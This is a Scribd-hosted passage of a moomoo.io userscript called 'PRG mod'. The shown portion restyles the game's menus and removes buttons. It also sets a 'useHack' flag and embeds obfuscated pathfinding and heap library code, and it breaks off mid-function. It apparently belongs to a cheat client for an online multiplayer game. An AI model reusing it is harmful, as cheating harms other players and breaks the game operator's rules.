0% found this document useful (0 votes)
7 views

message

This document is a user script named 'PRG' designed for the website moomoo.io, which modifies the user interface and functionality of the site. It includes custom loading screens, menu styles, and various UI adjustments, such as removing certain buttons and changing text styles. The script also contains JavaScript functions for managing game settings and behaviors.

Uploaded by

danufa11.11.11
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
7 views

message

This document is a user script named 'PRG' designed for the website moomoo.io, which modifies the user interface and functionality of the site. It includes custom loading screens, menu styles, and various UI adjustments, such as removing certain buttons and changing text styles. The script also contains JavaScript functions for managing game settings and behaviors.

Uploaded by

danufa11.11.11
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
You are on page 1/ 221

// ==UserScript==

// @name PRG
// @author PRG & Fxgxtten
// @description Priv/showcase.
// @version 1.1
// @match *://*.moomoo.io/*
// @run-at document_idle
// @grant none
// ==/UserScript==
//
// ⣠⣤⣶⣶⣦⣄⡀ ⠀⢀⣤⣴⣶⣶⣤⠀
// ⣼⣿⣿⣿⣿⣿⣿⣷⣤⣾⣿⣿⣿⣿⣿⣿⣧
// ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
// ⠹⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠏
// ⠀⠙⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠋⠀
// ⠀⠀⠀⠙⢿⣿⣿⣿⣿⣿⣿⣿⡿⠛⠁⠀⠀
// ⠀⠀⠀⠀⠀⠉⢿⣿⣿⣿⠟⠋⠀⠀⠀⠀⠀
// ⠀⠀⠀⠀⠀⠀⠀⠙⠻⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀

setTimeout(() => {
document.getElementById("loadingText").innerHTML = "<!DOCTYPE html>\n<html
lang=\"en\">\n<head>\n<meta charset=\"UTF-8\">\n<meta name=\"viewport\"
content=\"width=device-width, initial-scale=1.0\">\n<title>Loading Screen</title>\
n<style>\n body {\n margin: 0;\n padding: 0;\n display: flex;\n
justify-content: center;\n align-items: center;\n height: 100vh;\n
background-color: #1a1919\n }\n\n .loader {\n border: 8px solid gray; /* Light
grey */\n border-top: 8px solid #656569; /* Blue */\n border-radius: 50%;\n
width: 50px;\n height: 50px;\n animation: spin 1s linear infinite;\n
margin-left: 647px; /* Подвигаем на 50 пикселей вправо */\n margin-top: 100px;\n
transition: border 1s, border-top 1s;\n }\n\n @keyframes spin {\n 0%
{ transform: rotate(0deg); }\n 100% { transform: rotate(360deg); }\n
}\n</style>\n</head>\n<body>\n <div class=\"loader\"></div>\n</body>\n</html>\n";
}, 20);
let editMainMenu = "\n<style>\n /* Стили для меню #setupCard */\n #setupCard {\n
border-radius: 10px;\n position: absolute;\n left: 350px;\n top:
0.00000009px;\n background-color: rgba(0, 0, 0, 0);\n transition: box-shadow
0.3s ease;\n }\n\n #setupCard:hover,\n #setupCard:active {\n box-shadow: 0px
0px 10px #fff;\n }\n\n /* Стили для меню #guideCard */\n #guideCard {\n
border-radius: 10px;\n position: absolute;\n left: 700px;\n top: 0px;\n
background-color: rgba(0, 0, 0, 0);\n transition: box-shadow 0.3s ease;\n }\n\n
#guideCard:hover,\n #guideCard:active {\n box-shadow: 0px 0px 10px #fff;\n }\
n\n\n\n /* Прочие стили остаются без изменений */\n #nameInput::selection {\n
background: #1a1919;\n }\n\n #guideCard::-webkit-scrollbar {\n width: 0px;\n
height: 0px;\n background-color: rgba(0, 0, 0, 0);\n }\n\n #mainMenu {\n
background-image:
url('https://cdn.discordapp.com/attachments/1231257478566645821/1236973648112390154
/172491-wallpaper-hd-1080p-black-1920x1280-for-hd.png?
ex=6639f4fb&is=6638a37b&hm=1b774e1850de23db793c26c14fa49a1f012552df71342ff853ab8fba
21408eed&');\n background-size: cover;\n background-repeat: no-repeat;\n
background-position: center;\n\n }\n\n .menuCard {\n background-color:
#1a1919;\n text-align: center;\n box-shadow: inset 0px 0px 0px black;\n }\n
.aurora {\n position: fixed;\n width: 100%;\n height: 100%;\n
background: linear-gradient(to bottom, #000000 0%, #002f4b 50%, #0d1440 100%);\n
z-index: -1;\n animation: aurora-shift 10s ease-in-out infinite;\n }\n\n
@keyframes aurora-shift {\n 0% { background-position: 0% 50%; }\n 100%
{ background-position: 100% 50%; }\n }\n\n #nameInput::selection {\n
background-color: #1a1919;\n }\n .menuCard {\n background-color: #1a1919;\n
text-align: center;\n box-shadow: inset 0px 0px 0px black;\n }\n\n\n })();\
n</script>\n\n</style>\n\n\n";
$("#mainMenu").append(editMainMenu);
document.getElementById("partyButton").remove();
document.getElementById("joinPartyButton").remove();
document.getElementById("linksContainer2").remove();
document.getElementById("gameName").style.font = "120px zamruds";
document.getElementById("gameName").style.textShadow = "0px 0px 10px #fff";
document.getElementById("gameName").style.marginTop = "-200px";
document.getElementById("gameName").innerHTML = "PRG mod";
document.getElementById("gameName").style.color = "#fff";
document.getElementById("enterGame").innerHTML = "gogogogo";
document.getElementById("enterGame").style.backgroundColor = "rgba(0, 0, 0, 0.5)";
let useHack = true;
let log = console.log;
let testMode = window.location.hostname == "127.0.0.1";
let imueheua = false;
let namechanger = false;
function getEl(_0x19401e) {
return document.getElementById(_0x19401e);
}
var EasyStar = function (_0x41292a) {
var _0x364ba5 = {};
function _0x2e8fc9(_0x206aac) {
if (_0x364ba5[_0x206aac]) {
return _0x364ba5[_0x206aac].exports;
}
var _0x14fff2 = _0x364ba5[_0x206aac] = {
i: _0x206aac,
l: false,
exports: {}
};
_0x41292a[_0x206aac].call(_0x14fff2.exports, _0x14fff2, _0x14fff2.exports,
_0x2e8fc9);
_0x14fff2.l = true;
return _0x14fff2.exports;
}
_0x2e8fc9.m = _0x41292a;
_0x2e8fc9.c = _0x364ba5;
_0x2e8fc9.d = function (_0x52d63c, _0x304526, _0x32cf6e) {
if (!_0x2e8fc9.o(_0x52d63c, _0x304526)) {
Object.defineProperty(_0x52d63c, _0x304526, {
enumerable: true,
get: _0x32cf6e
});
}
};
_0x2e8fc9.r = function (_0x39eb3f) {
if (typeof Symbol != "undefined" && Symbol.toStringTag) {
Object.defineProperty(_0x39eb3f, Symbol.toStringTag, {
value: "Module"
});
}
Object.defineProperty(_0x39eb3f, "__esModule", {
value: true
});
};
_0x2e8fc9.t = function (_0x4807bf, _0x2ad23f) {
if (_0x2ad23f & 1) {
_0x4807bf = _0x2e8fc9(_0x4807bf);
}
if (_0x2ad23f & 8) {
return _0x4807bf;
}
if (_0x2ad23f & 4 && typeof _0x4807bf == "object" && _0x4807bf &&
_0x4807bf.__esModule) {
return _0x4807bf;
}
var _0x594f8c = Object.create(null);
_0x2e8fc9.r(_0x594f8c);
Object.defineProperty(_0x594f8c, "default", {
enumerable: true,
value: _0x4807bf
});
if (_0x2ad23f & 2 && typeof _0x4807bf != "string") {
for (var _0x3d1d63 in _0x4807bf) {
_0x2e8fc9.d(_0x594f8c, _0x3d1d63, function (_0x5ef1c8) {
return _0x4807bf[_0x5ef1c8];
}.bind(null, _0x3d1d63));
}
}
return _0x594f8c;
};
_0x2e8fc9.n = function (_0x8003dc) {
var _0x295bf4 = _0x8003dc && _0x8003dc.__esModule ? function () {
return _0x8003dc.default;
} : function () {
return _0x8003dc;
};
_0x2e8fc9.d(_0x295bf4, "a", _0x295bf4);
return _0x295bf4;
};
_0x2e8fc9.o = function (_0x46f6d8, _0xf74f83) {
return Object.prototype.hasOwnProperty.call(_0x46f6d8, _0xf74f83);
};
_0x2e8fc9.p = "/bin/";
return _0x2e8fc9(_0x2e8fc9.s = 0);
}([function (_0x3d4a40, _0x48b7fb, _0x53c82f) {
var _0x20e313 = {};
var _0x4b5a5 = _0x53c82f(1);
var _0x512783 = _0x53c82f(2);
var _0x354f98 = _0x53c82f(3);
_0x3d4a40.exports = _0x20e313;
var _0x540b44 = 1;
_0x20e313.js = function () {
var _0xb0995d;
var _0x2cdec1;
var _0x239027;
var _0x2c881b = 1.4;
var _0xbc8b48 = false;
var _0x23a9db = {};
var _0x243719 = {};
var _0x214883 = {};
var _0x55137a = {};
var _0x3cb2c5 = true;
var _0x4f11cc = {};
var _0x2b79d3 = [];
var _0x1b0cf3 = Number.MAX_VALUE;
var _0x1dd7f5 = false;
this.setAcceptableTiles = function (_0x39e6a5) {
if (_0x39e6a5 instanceof Array) {
_0x239027 = _0x39e6a5;
} else if (!isNaN(parseFloat(_0x39e6a5)) && isFinite(_0x39e6a5)) {
_0x239027 = [_0x39e6a5];
}
};
this.enableSync = function () {
_0xbc8b48 = true;
};
this.disableSync = function () {
_0xbc8b48 = false;
};
this.enableDiagonals = function () {
_0x1dd7f5 = true;
};
this.disableDiagonals = function () {
_0x1dd7f5 = false;
};
this.setGrid = function (_0x130552) {
_0xb0995d = _0x130552;
for (var _0x269fad = 0; _0x269fad < _0xb0995d.length; _0x269fad++) {
for (var _0x575121 = 0; _0x575121 < _0xb0995d[0].length; _0x575121++) {
_0x243719[_0xb0995d[_0x269fad][_0x575121]] ||= 1;
}
}
};
this.setTileCost = function (_0xd45195, _0x4f8b60) {
_0x243719[_0xd45195] = _0x4f8b60;
};
this.setAdditionalPointCost = function (_0x3d3253, _0x195d40, _0x246ec4) {
if (_0x214883[_0x195d40] === undefined) {
_0x214883[_0x195d40] = {};
}
_0x214883[_0x195d40][_0x3d3253] = _0x246ec4;
};
this.removeAdditionalPointCost = function (_0x493501, _0x1c31df) {
if (_0x214883[_0x1c31df] !== undefined) {
delete _0x214883[_0x1c31df][_0x493501];
}
};
this.removeAllAdditionalPointCosts = function () {
_0x214883 = {};
};
this.setDirectionalCondition = function (_0x2353f8, _0x4a937f, _0x47340c) {
if (_0x55137a[_0x4a937f] === undefined) {
_0x55137a[_0x4a937f] = {};
}
_0x55137a[_0x4a937f][_0x2353f8] = _0x47340c;
};
this.removeAllDirectionalConditions = function () {
_0x55137a = {};
};
this.setIterationsPerCalculation = function (_0x5be5de) {
_0x1b0cf3 = _0x5be5de;
};
this.avoidAdditionalPoint = function (_0x383ec0, _0x59e97b) {
if (_0x23a9db[_0x59e97b] === undefined) {
_0x23a9db[_0x59e97b] = {};
}
_0x23a9db[_0x59e97b][_0x383ec0] = 1;
};
this.stopAvoidingAdditionalPoint = function (_0x40a435, _0x3247bb) {
if (_0x23a9db[_0x3247bb] !== undefined) {
delete _0x23a9db[_0x3247bb][_0x40a435];
}
};
this.enableCornerCutting = function () {
_0x3cb2c5 = true;
};
this.disableCornerCutting = function () {
_0x3cb2c5 = false;
};
this.stopAvoidingAllAdditionalPoints = function () {
_0x23a9db = {};
};
this.findPath = function (_0x455717, _0x3de8e0, _0x25baa4, _0x5391d0,
_0x3e0c28) {
function _0x4066f4(_0x1ad01e) {
if (_0xbc8b48) {
_0x3e0c28(_0x1ad01e);
} else {
setTimeout(function () {
_0x3e0c28(_0x1ad01e);
});
}
}
if (_0x239027 === undefined) {
throw new Error("You can't set a path without first calling
setAcceptableTiles() on EasyStar.");
}
if (_0xb0995d === undefined) {
throw new Error("You can't set a path without first calling setGrid() on
EasyStar.");
}
if (_0x455717 < 0 || _0x3de8e0 < 0 || _0x25baa4 < 0 || _0x5391d0 < 0 ||
_0x455717 > _0xb0995d[0].length - 1 || _0x3de8e0 > _0xb0995d.length - 1 ||
_0x25baa4 > _0xb0995d[0].length - 1 || _0x5391d0 > _0xb0995d.length - 1) {
throw new Error("Your start or end point is outside the scope of your
grid.");
}
if (_0x455717 !== _0x25baa4 || _0x3de8e0 !== _0x5391d0) {
var _0x2f5e44 = _0xb0995d[_0x5391d0][_0x25baa4];
var _0x15972b = false;
for (var _0x4966fe = 0; _0x4966fe < _0x239027.length; _0x4966fe++) {
if (_0x2f5e44 === _0x239027[_0x4966fe]) {
_0x15972b = true;
break;
}
}
if (_0x15972b !== false) {
var _0x5763a1 = new _0x4b5a5();
_0x5763a1.openList = new _0x354f98(function (_0x1c0192, _0x2c705a) {
return _0x1c0192.bestGuessDistance() - _0x2c705a.bestGuessDistance();
});
_0x5763a1.isDoneCalculating = false;
_0x5763a1.nodeHash = {};
_0x5763a1.startX = _0x455717;
_0x5763a1.startY = _0x3de8e0;
_0x5763a1.endX = _0x25baa4;
_0x5763a1.endY = _0x5391d0;
_0x5763a1.callback = _0x4066f4;
_0x5763a1.openList.push(_0x1b018d(_0x5763a1, _0x5763a1.startX,
_0x5763a1.startY, null, 1));
_0x5391d0 = _0x540b44++;
_0x4f11cc[_0x5391d0] = _0x5763a1;
_0x2b79d3.push(_0x5391d0);
return _0x5391d0;
}
_0x4066f4(null);
} else {
_0x4066f4([]);
}
};
this.cancelPath = function (_0x354f0d) {
return _0x354f0d in _0x4f11cc && (delete _0x4f11cc[_0x354f0d], true);
};
this.calculate = function () {
if (_0x2b79d3.length !== 0 && _0xb0995d !== undefined && _0x239027 !==
undefined) {
for (_0x2cdec1 = 0; _0x2cdec1 < _0x1b0cf3; _0x2cdec1++) {
if (_0x2b79d3.length === 0) {
return;
}
if (_0xbc8b48) {
_0x2cdec1 = 0;
}
var _0x3395da = _0x2b79d3[0];
var _0x575c8a = _0x4f11cc[_0x3395da];
if (_0x575c8a !== undefined) {
if (_0x575c8a.openList.size() !== 0) {
var _0x1daa51 = _0x575c8a.openList.pop();
if (_0x575c8a.endX !== _0x1daa51.x || _0x575c8a.endY !== _0x1daa51.y)
{
if ((_0x1daa51.list = 0) < _0x1daa51.y) {
_0x4a85b3(_0x575c8a, _0x1daa51, 0, -1, +_0x4f898a(_0x1daa51.x,
_0x1daa51.y - 1));
}
if (_0x1daa51.x < _0xb0995d[0].length - 1) {
_0x4a85b3(_0x575c8a, _0x1daa51, 1, 0, +_0x4f898a(_0x1daa51.x + 1,
_0x1daa51.y));
}
if (_0x1daa51.y < _0xb0995d.length - 1) {
_0x4a85b3(_0x575c8a, _0x1daa51, 0, 1, +_0x4f898a(_0x1daa51.x,
_0x1daa51.y + 1));
}
if (_0x1daa51.x > 0) {
_0x4a85b3(_0x575c8a, _0x1daa51, -1, 0, +_0x4f898a(_0x1daa51.x -
1, _0x1daa51.y));
}
if (_0x1dd7f5) {
if (_0x1daa51.x > 0 && _0x1daa51.y > 0 && (_0x3cb2c5 ||
_0x51f78f(_0xb0995d, _0x239027, _0x1daa51.x, _0x1daa51.y - 1, _0x1daa51) &&
_0x51f78f(_0xb0995d, _0x239027, _0x1daa51.x - 1, _0x1daa51.y, _0x1daa51))) {
_0x4a85b3(_0x575c8a, _0x1daa51, -1, -1, _0x2c881b *
_0x4f898a(_0x1daa51.x - 1, _0x1daa51.y - 1));
}
if (_0x1daa51.x < _0xb0995d[0].length - 1 && _0x1daa51.y <
_0xb0995d.length - 1 && (_0x3cb2c5 || _0x51f78f(_0xb0995d, _0x239027, _0x1daa51.x,
_0x1daa51.y + 1, _0x1daa51) && _0x51f78f(_0xb0995d, _0x239027, _0x1daa51.x + 1,
_0x1daa51.y, _0x1daa51))) {
_0x4a85b3(_0x575c8a, _0x1daa51, 1, 1, _0x2c881b *
_0x4f898a(_0x1daa51.x + 1, _0x1daa51.y + 1));
}
if (_0x1daa51.x < _0xb0995d[0].length - 1 && _0x1daa51.y > 0 &&
(_0x3cb2c5 || _0x51f78f(_0xb0995d, _0x239027, _0x1daa51.x, _0x1daa51.y - 1,
_0x1daa51) && _0x51f78f(_0xb0995d, _0x239027, _0x1daa51.x + 1, _0x1daa51.y,
_0x1daa51))) {
_0x4a85b3(_0x575c8a, _0x1daa51, 1, -1, _0x2c881b *
_0x4f898a(_0x1daa51.x + 1, _0x1daa51.y - 1));
}
if (_0x1daa51.x > 0 && _0x1daa51.y < _0xb0995d.length - 1 &&
(_0x3cb2c5 || _0x51f78f(_0xb0995d, _0x239027, _0x1daa51.x, _0x1daa51.y + 1,
_0x1daa51) && _0x51f78f(_0xb0995d, _0x239027, _0x1daa51.x - 1, _0x1daa51.y,
_0x1daa51))) {
_0x4a85b3(_0x575c8a, _0x1daa51, -1, 1, _0x2c881b *
_0x4f898a(_0x1daa51.x - 1, _0x1daa51.y + 1));
}
}
} else {
var _0xe13ce0 = [];
_0xe13ce0.push({
x: _0x1daa51.x,
y: _0x1daa51.y
});
for (var _0x5aa3df = _0x1daa51.parent; _0x5aa3df != null;) {
_0xe13ce0.push({
x: _0x5aa3df.x,
y: _0x5aa3df.y
});
_0x5aa3df = _0x5aa3df.parent;
}
_0xe13ce0.reverse();
_0x575c8a.callback(_0xe13ce0);
delete _0x4f11cc[_0x3395da];
_0x2b79d3.shift();
}
} else {
_0x575c8a.callback(null);
delete _0x4f11cc[_0x3395da];
_0x2b79d3.shift();
}
} else {
_0x2b79d3.shift();
}
}
}
};
function _0x4a85b3(_0x230a88, _0x307b06, _0x1d6cbb, _0xa30021, _0x572f57) {
_0x1d6cbb = _0x307b06.x + _0x1d6cbb;
_0xa30021 = _0x307b06.y + _0xa30021;
if ((_0x23a9db[_0xa30021] === undefined || _0x23a9db[_0xa30021][_0x1d6cbb]
=== undefined) && !!_0x51f78f(_0xb0995d, _0x239027, _0x1d6cbb, _0xa30021,
_0x307b06)) {
if ((_0xa30021 = _0x1b018d(_0x230a88, _0x1d6cbb, _0xa30021, _0x307b06,
_0x572f57)).list === undefined) {
_0xa30021.list = 1;
_0x230a88.openList.push(_0xa30021);
} else if (_0x307b06.costSoFar + _0x572f57 < _0xa30021.costSoFar) {
_0xa30021.costSoFar = _0x307b06.costSoFar + _0x572f57;
_0xa30021.parent = _0x307b06;
_0x230a88.openList.updateItem(_0xa30021);
}
}
}
function _0x51f78f(_0x418ab9, _0x1c441f, _0x13bb80, _0x5a29d4, _0x376f6b) {
var _0x4dc72f = _0x55137a[_0x5a29d4] && _0x55137a[_0x5a29d4][_0x13bb80];
if (_0x4dc72f) {
var _0x534977 = _0x44a17c(_0x376f6b.x - _0x13bb80, _0x376f6b.y -
_0x5a29d4);
if (!function () {
for (var _0x5b101d = 0; _0x5b101d < _0x4dc72f.length; _0x5b101d++) {
if (_0x4dc72f[_0x5b101d] === _0x534977) {
return true;
}
}
return false;
}()) {
return false;
}
}
for (var _0xfcf97b = 0; _0xfcf97b < _0x1c441f.length; _0xfcf97b++) {
if (_0x418ab9[_0x5a29d4][_0x13bb80] === _0x1c441f[_0xfcf97b]) {
return true;
}
}
return false;
}
function _0x44a17c(_0x1a565e, _0xda2eee) {
if (_0x1a565e === 0 && _0xda2eee === -1) {
return _0x20e313.TOP;
}
if (_0x1a565e === 1 && _0xda2eee === -1) {
return _0x20e313.TOP_RIGHT;
}
if (_0x1a565e === 1 && _0xda2eee === 0) {
return _0x20e313.RIGHT;
}
if (_0x1a565e === 1 && _0xda2eee === 1) {
return _0x20e313.BOTTOM_RIGHT;
}
if (_0x1a565e === 0 && _0xda2eee === 1) {
return _0x20e313.BOTTOM;
}
if (_0x1a565e === -1 && _0xda2eee === 1) {
return _0x20e313.BOTTOM_LEFT;
}
if (_0x1a565e === -1 && _0xda2eee === 0) {
return _0x20e313.LEFT;
}
if (_0x1a565e === -1 && _0xda2eee === -1) {
return _0x20e313.TOP_LEFT;
}
throw new Error("These differences are not valid: " + _0x1a565e + ", " +
_0xda2eee);
}
function _0x4f898a(_0x1769f6, _0x3127f6) {
return _0x214883[_0x3127f6] && _0x214883[_0x3127f6][_0x1769f6] ||
_0x243719[_0xb0995d[_0x3127f6][_0x1769f6]];
}
function _0x1b018d(_0x22bf92, _0x1b3128, _0x5bce1c, _0x25398a, _0x3da81c) {
if (_0x22bf92.nodeHash[_0x5bce1c] !== undefined) {
if (_0x22bf92.nodeHash[_0x5bce1c][_0x1b3128] !== undefined) {
return _0x22bf92.nodeHash[_0x5bce1c][_0x1b3128];
}
} else {
_0x22bf92.nodeHash[_0x5bce1c] = {};
}
var _0x32271e = _0x4e6f8f(_0x1b3128, _0x5bce1c, _0x22bf92.endX,
_0x22bf92.endY);
var _0x3da81c = _0x25398a !== null ? _0x25398a.costSoFar + _0x3da81c : 0;
var _0x32271e = new _0x512783(_0x25398a, _0x1b3128, _0x5bce1c, _0x3da81c,
_0x32271e);
return _0x22bf92.nodeHash[_0x5bce1c][_0x1b3128] = _0x32271e;
}
function _0x4e6f8f(_0x14c985, _0x305a27, _0x400c45, _0xc8c823) {
var _0x509a7c;
var _0x4a09f8;
if (_0x1dd7f5) {
if ((_0x509a7c = Math.abs(_0x14c985 - _0x400c45)) < (_0x4a09f8 =
Math.abs(_0x305a27 - _0xc8c823))) {
return _0x2c881b * _0x509a7c + _0x4a09f8;
} else {
return _0x2c881b * _0x4a09f8 + _0x509a7c;
}
} else {
return (_0x509a7c = Math.abs(_0x14c985 - _0x400c45)) + (_0x4a09f8 =
Math.abs(_0x305a27 - _0xc8c823));
}
}
};
_0x20e313.TOP = "TOP";
_0x20e313.TOP_RIGHT = "TOP_RIGHT";
_0x20e313.RIGHT = "RIGHT";
_0x20e313.BOTTOM_RIGHT = "BOTTOM_RIGHT";
_0x20e313.BOTTOM = "BOTTOM";
_0x20e313.BOTTOM_LEFT = "BOTTOM_LEFT";
_0x20e313.LEFT = "LEFT";
_0x20e313.TOP_LEFT = "TOP_LEFT";
}, function (_0x19c191, _0x3f6ed1) {
_0x19c191.exports = function () {
this.pointsToAvoid = {};
this.startX;
this.callback;
this.startY;
this.endX;
this.endY;
this.nodeHash = {};
this.openList;
};
}, function (_0x1daa45, _0x418457) {
_0x1daa45.exports = function (_0x5548f2, _0x69cb27, _0x401aa9, _0x42355b,
_0x4d1914) {
this.parent = _0x5548f2;
this.x = _0x69cb27;
this.y = _0x401aa9;
this.costSoFar = _0x42355b;
this.simpleDistanceToTarget = _0x4d1914;
this.bestGuessDistance = function () {
return this.costSoFar + this.simpleDistanceToTarget;
};
};
}, function (_0x1ee23b, _0xdd7f3d, _0x94914c) {
_0x1ee23b.exports = _0x94914c(4);
}, function (_0x144991, _0x4c777c, _0x42e547) {
var _0x4880cb;
var _0x5a5eeb;
(function () {
var _0x1e6a53;
var _0x6c7e2d;
var _0x5ecfc2;
var _0x3189e2;
var _0x577694;
var _0xf4575b;
var _0x51e327;
var _0x36b8fe;
var _0x191251;
var _0x329deb;
var _0x380825;
var _0x470b27;
var _0x303e16;
var _0x1e43b3;
var _0x37e805;
function _0xd2f5d5(_0xe84597) {
this.cmp = _0xe84597 ?? _0x6c7e2d;
this.nodes = [];
}
_0x5ecfc2 = Math.floor;
_0x329deb = Math.min;
_0x6c7e2d = function (_0x107609, _0x53c510) {
if (_0x107609 < _0x53c510) {
return -1;
} else if (_0x53c510 < _0x107609) {
return 1;
} else {
return 0;
}
};
_0x191251 = function (_0x1bec42, _0x102ec7, _0x378f27, _0x2b4f70, _0x375708) {
var _0x2ac1bc;
if (_0x378f27 == null) {
_0x378f27 = 0;
}
if (_0x375708 == null) {
_0x375708 = _0x6c7e2d;
}
if (_0x378f27 < 0) {
throw new Error("lo must be non-negative");
}
for (_0x2b4f70 == null && (_0x2b4f70 = _0x1bec42.length); _0x378f27 <
_0x2b4f70;) {
if (_0x375708(_0x102ec7, _0x1bec42[_0x2ac1bc = _0x5ecfc2((_0x378f27 +
_0x2b4f70) / 2)]) < 0) {
_0x2b4f70 = _0x2ac1bc;
} else {
_0x378f27 = _0x2ac1bc + 1;
}
}
[].splice.apply(_0x1bec42, [_0x378f27, _0x378f27 -
_0x378f27].concat(_0x102ec7));
return _0x102ec7;
};
_0xf4575b = function (_0x2fe98d, _0x4622b0, _0x34bb2a) {
if (_0x34bb2a == null) {
_0x34bb2a = _0x6c7e2d;
}
_0x2fe98d.push(_0x4622b0);
return _0x1e43b3(_0x2fe98d, 0, _0x2fe98d.length - 1, _0x34bb2a);
};
_0x577694 = function (_0x419cf1, _0x131d85) {
var _0x4366ce;
var _0x425f27;
if (_0x131d85 == null) {
_0x131d85 = _0x6c7e2d;
}
_0x4366ce = _0x419cf1.pop();
if (_0x419cf1.length) {
_0x425f27 = _0x419cf1[0];
_0x419cf1[0] = _0x4366ce;
_0x37e805(_0x419cf1, 0, _0x131d85);
} else {
_0x425f27 = _0x4366ce;
}
return _0x425f27;
};
_0x36b8fe = function (_0x5dc923, _0x320d07, _0x24a6f4) {
var _0x7c774;
if (_0x24a6f4 == null) {
_0x24a6f4 = _0x6c7e2d;
}
_0x7c774 = _0x5dc923[0];
_0x5dc923[0] = _0x320d07;
_0x37e805(_0x5dc923, 0, _0x24a6f4);
return _0x7c774;
};
_0x51e327 = function (_0x1064b4, _0x4d8f85, _0x31297f) {
var _0x1a35e9;
if (_0x31297f == null) {
_0x31297f = _0x6c7e2d;
}
if (_0x1064b4.length && _0x31297f(_0x1064b4[0], _0x4d8f85) < 0) {
_0x4d8f85 = (_0x1a35e9 = [_0x1064b4[0], _0x4d8f85])[0];
_0x1064b4[0] = _0x1a35e9[1];
_0x37e805(_0x1064b4, 0, _0x31297f);
}
return _0x4d8f85;
};
_0x3189e2 = function (_0x1f742d, _0x28d6bb) {
var _0x39aabe;
var _0x17a549;
var _0x1ad6b6;
var _0xd0df99;
var _0x5af36a;
var _0x1a1578;
if (_0x28d6bb == null) {
_0x28d6bb = _0x6c7e2d;
}
_0x5af36a = [];
_0x17a549 = 0;
_0x1ad6b6 = (_0xd0df99 = function () {
_0x1a1578 = [];
for (var _0x2f0f2c = 0, _0x363de5 = _0x5ecfc2(_0x1f742d.length / 2);
_0x363de5 >= 0 ? _0x2f0f2c < _0x363de5 : _0x363de5 < _0x2f0f2c; _0x363de5 >= 0 ?
_0x2f0f2c++ : _0x2f0f2c--) {
_0x1a1578.push(_0x2f0f2c);
}
return _0x1a1578;
}.apply(this).reverse()).length;
for (; _0x17a549 < _0x1ad6b6; _0x17a549++) {
_0x39aabe = _0xd0df99[_0x17a549];
_0x5af36a.push(_0x37e805(_0x1f742d, _0x39aabe, _0x28d6bb));
}
return _0x5af36a;
};
_0x303e16 = function (_0x159f97, _0x5f1405, _0x59b21f) {
if (_0x59b21f == null) {
_0x59b21f = _0x6c7e2d;
}
if ((_0x5f1405 = _0x159f97.indexOf(_0x5f1405)) !== -1) {
_0x1e43b3(_0x159f97, 0, _0x5f1405, _0x59b21f);
return _0x37e805(_0x159f97, _0x5f1405, _0x59b21f);
}
};
_0x380825 = function (_0x4b76c0, _0x528153, _0x5e0b00) {
var _0x2711d4;
var _0x20c093;
var _0x2b5b5e;
var _0xd031be;
var _0x246e5c;
if (_0x5e0b00 == null) {
_0x5e0b00 = _0x6c7e2d;
}
if (!(_0x20c093 = _0x4b76c0.slice(0, _0x528153)).length) {
return _0x20c093;
}
_0x3189e2(_0x20c093, _0x5e0b00);
_0x2b5b5e = 0;
_0xd031be = (_0x246e5c = _0x4b76c0.slice(_0x528153)).length;
for (; _0x2b5b5e < _0xd031be; _0x2b5b5e++) {
_0x2711d4 = _0x246e5c[_0x2b5b5e];
_0x51e327(_0x20c093, _0x2711d4, _0x5e0b00);
}
return _0x20c093.sort(_0x5e0b00).reverse();
};
_0x470b27 = function (_0x353e09, _0x455233, _0x4f8eca) {
var _0x170050;
var _0x5262a2;
var _0x474c0a;
var _0x1052d6;
var _0x2a9129;
var _0x2ca8ae;
var _0x3b0fa5;
var _0x23874b;
var _0x225ee3;
if (_0x4f8eca == null) {
_0x4f8eca = _0x6c7e2d;
}
if (_0x455233 * 10 <= _0x353e09.length) {
if (!(_0x474c0a = _0x353e09.slice(0, _0x455233).sort(_0x4f8eca)).length) {
return _0x474c0a;
}
_0x5262a2 = _0x474c0a[_0x474c0a.length - 1];
_0x1052d6 = 0;
_0x2ca8ae = (_0x3b0fa5 = _0x353e09.slice(_0x455233)).length;
for (; _0x1052d6 < _0x2ca8ae; _0x1052d6++) {
if (_0x4f8eca(_0x170050 = _0x3b0fa5[_0x1052d6], _0x5262a2) < 0) {
_0x191251(_0x474c0a, _0x170050, 0, null, _0x4f8eca);
_0x474c0a.pop();
_0x5262a2 = _0x474c0a[_0x474c0a.length - 1];
}
}
return _0x474c0a;
}
_0x3189e2(_0x353e09, _0x4f8eca);
_0x225ee3 = [];
_0x2a9129 = 0;
_0x23874b = _0x329deb(_0x455233, _0x353e09.length);
for (; _0x23874b >= 0 ? _0x2a9129 < _0x23874b : _0x23874b < _0x2a9129;
_0x23874b >= 0 ? ++_0x2a9129 : --_0x2a9129) {
_0x225ee3.push(_0x577694(_0x353e09, _0x4f8eca));
}
return _0x225ee3;
};
_0x1e43b3 = function (_0x2ccec2, _0x40e32f, _0x15b2b2, _0x1ac1d8) {
var _0x4dff94;
var _0x309db3;
var _0x765112;
if (_0x1ac1d8 == null) {
_0x1ac1d8 = _0x6c7e2d;
}
_0x4dff94 = _0x2ccec2[_0x15b2b2];
while (_0x40e32f < _0x15b2b2 && _0x1ac1d8(_0x4dff94, _0x309db3 =
_0x2ccec2[_0x765112 = _0x15b2b2 - 1 >> 1]) < 0) {
_0x2ccec2[_0x15b2b2] = _0x309db3;
_0x15b2b2 = _0x765112;
}
return _0x2ccec2[_0x15b2b2] = _0x4dff94;
};
_0x37e805 = function (_0x1aa3f4, _0x4723ae, _0x4c0104) {
var _0x2a8783;
var _0x287f89;
var _0x216da7;
var _0x5cfa5f;
var _0x5936e0;
if (_0x4c0104 == null) {
_0x4c0104 = _0x6c7e2d;
}
_0x287f89 = _0x1aa3f4.length;
_0x216da7 = _0x1aa3f4[_0x5936e0 = _0x4723ae];
_0x2a8783 = _0x4723ae * 2 + 1;
while (_0x2a8783 < _0x287f89) {
if ((_0x5cfa5f = _0x2a8783 + 1) < _0x287f89 &&
